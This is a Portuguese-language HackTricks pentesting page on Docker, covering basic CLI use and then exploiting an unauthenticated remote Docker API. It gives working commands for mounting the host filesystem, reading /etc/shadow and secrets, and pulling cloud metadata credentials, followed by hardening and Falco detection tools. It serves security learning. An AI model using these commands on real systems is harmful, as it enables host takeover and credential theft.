23 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Conceitos Básicos do Docker
O que é
O Docker é a plataforma líder na indústria de containerização, liderando a inovação contínua. Facilita a criação e distribuição sem esforço de aplicativos, abrangendo desde os tradicionais até os futuristas, e garante sua implantação segura em diversos ambientes.
Arquitetura básica do Docker
- containerd: Este é um tempo de execução central para contêineres, encarregado da gestão abrangente do ciclo de vida de um contêiner. Isso envolve lidar com a transferência e armazenamento de imagens, além de supervisionar a execução, monitoramento e rede de contêineres. Mais insights detalhados sobre o containerd são explorados ainda mais.
- O container-shim desempenha um papel crítico como um intermediário no manuseio de contêineres sem interface gráfica, assumindo perfeitamente o controle do runc após a inicialização dos contêineres.
- runc: Estimado por suas capacidades de tempo de execução de contêiner leve e universal, o runc está alinhado com o padrão OCI. É usado pelo containerd para iniciar e gerenciar contêineres de acordo com as diretrizes OCI, tendo evoluído do libcontainer original.
- grpc é essencial para facilitar a comunicação entre o containerd e o docker-engine, garantindo uma interação eficiente.
- O OCI é fundamental para manter as especificações OCI para tempo de execução e imagens, sendo as versões mais recentes do Docker compatíveis com os padrões de imagem e tempo de execução OCI.
Comandos básicos
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd foi desenvolvido especificamente para atender às necessidades de plataformas de contêineres como Docker e Kubernetes, entre outras. Seu objetivo é simplificar a execução de contêineres em vários sistemas operacionais, incluindo Linux, Windows, Solaris e outros, abstraindo funcionalidades específicas do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais necessários para seus usuários, buscando omitir componentes desnecessários. No entanto, alcançar completamente esse objetivo é reconhecido como desafiador.
Uma decisão de design chave é que Containerd não lida com redes. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que ele suporta.
Enquanto o Docker utiliza o Containerd para executar contêineres, é importante observar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de enxames do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de tempo de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra.
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Podman é um mecanismo de contêiner de código aberto que adere aos padrões da Open Container Initiative (OCI), desenvolvido e mantido pela Red Hat. Ele se destaca do Docker com várias características distintas, especialmente sua arquitetura sem daemon e suporte para contêineres sem raiz, permitindo que os usuários executem contêineres sem privilégios de root.
O Podman é projetado para ser compatível com a API do Docker, permitindo o uso de comandos da CLI do Docker. Essa compatibilidade se estende ao seu ecossistema, que inclui ferramentas como Buildah para construir imagens de contêiner e Skopeo para operações de imagem como push, pull e inspeção. Mais detalhes sobre essas ferramentas podem ser encontrados em sua página do GitHub.
Diferenças Chave
-
Arquitetura: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso de root.
-
Integração com Systemd: O Podman se integra ao systemd para gerenciar contêineres, permitindo o gerenciamento de contêineres por meio de unidades systemd. Isso contrasta com o uso do systemd pelo Docker principalmente para gerenciar o processo do daemon do Docker.
-
Contêineres sem Raiz: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário iniciante. Essa abordagem minimiza os riscos associados a violações de contêiner, garantindo que os invasores obtenham apenas os privilégios do usuário comprometido, e não acesso de root.
A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando o gerenciamento de privilégios do usuário e a compatibilidade com os fluxos de trabalho existentes do Docker.
{% hint style="info" %} Observe que, como o Podman visa suportar a mesma API que o Docker, você pode usar os mesmos comandos com o Podman como com o Docker, como:
podman --version
podman info
pdoman images ls
podman ls
{% endhint %}
Informação Básica
A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner Docker privilegiado. Ao usar a API remota, é possível anexar hosts/diretórios raiz ao contêiner e ler/escrever arquivos do ambiente do host.
Porta padrão: 2375
PORT STATE SERVICE
2375/tcp open docker
Enumeração
Manual
Note que, para enumerar a API do docker, você pode usar o comando docker
ou curl
como no exemplo a seguir:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
Se você pode acessar a API remota do docker com o comando docker
, você pode executar qualquer um dos comandos docker comentados anteriormente para interagir com o serviço.
{% hint style="info" %}
Você pode export DOCKER_HOST="tcp://localhost:2375"
e evitar usar o parâmetro -H
com o comando docker
{% endhint %}
Escalação rápida de privilégios
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
Às vezes você verá 2376 disponível para o endpoint TLS. Não consegui me conectar a ele com o cliente docker, mas é possível fazer isso com o curl.
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
Se deseja mais informações sobre isso, mais informações estão disponíveis de onde copiei os comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
Automático
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
Comprometimento
Na página a seguir, você pode encontrar maneiras de escapar de um contêiner docker:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}
Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
Escalação de Privilégios
Se você estiver dentro de um host que está usando o Docker, você pode ler estas informações para tentar elevar os privilégios.
Descobrindo segredos em contêineres Docker em execução
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
Verifique a seção de env (variáveis de ambiente) em busca de segredos e você pode encontrar:
- Senhas.
- IPs.
- Portas.
- Caminhos.
- Outros... .
Se deseja extrair um arquivo:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
Protegendo seu Docker
Protegendo a instalação e uso do Docker
- Você pode usar a ferramenta https://github.com/docker/docker-bench-security para inspecionar sua instalação atual do Docker.
./docker-bench-security.sh
- Você pode usar a ferramenta https://github.com/kost/dockscan para inspecionar sua instalação atual do Docker.
dockscan -v unix:///var/run/docker.sock
- Você pode usar a ferramenta https://github.com/genuinetools/amicontained para verificar os privilégios que um contêiner terá ao ser executado com diferentes opções de segurança. Isso é útil para entender as implicações de usar algumas opções de segurança para executar um contêiner:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
Protegendo Imagens do Docker
- Você pode usar uma imagem do Docker de https://github.com/quay/clair para escanear suas outras imagens do Docker e encontrar vulnerabilidades.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
Protegendo Dockerfiles
- Você pode usar a ferramenta https://github.com/buddy-works/dockerfile-linter para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas. Cada configuração incorreta receberá um ID, você pode encontrar aqui https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md como corrigir cada uma delas.
dockerfilelinter -f Dockerfile
- Você pode usar a ferramenta https://github.com/replicatedhq/dockerfilelint para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas.
dockerfilelint Dockerfile
- Você pode usar a ferramenta https://github.com/RedCoolBeans/dockerlint para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas.
dockerlint Dockerfile
- Você pode usar a ferramenta https://github.com/hadolint/hadolint para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas.
hadolint Dockerfile
Registrando atividades suspeitas
- Você pode usar a ferramenta https://github.com/falcosecurity/falco para detectar comportamentos suspeitos em contêineres em execução.
- Observe no trecho a seguir como Falco compila um módulo de kernel e o insere. Depois disso, ele carrega as regras e começa a registrar atividades suspeitas. Neste caso, ele detectou 2 contêineres privilegiados iniciados, sendo que um deles possui um ponto de montagem sensível, e após alguns segundos detectou a abertura de um shell dentro de um dos contêineres.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
Monitoramento do Docker
Você pode usar o auditd para monitorar o docker.
Referências
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.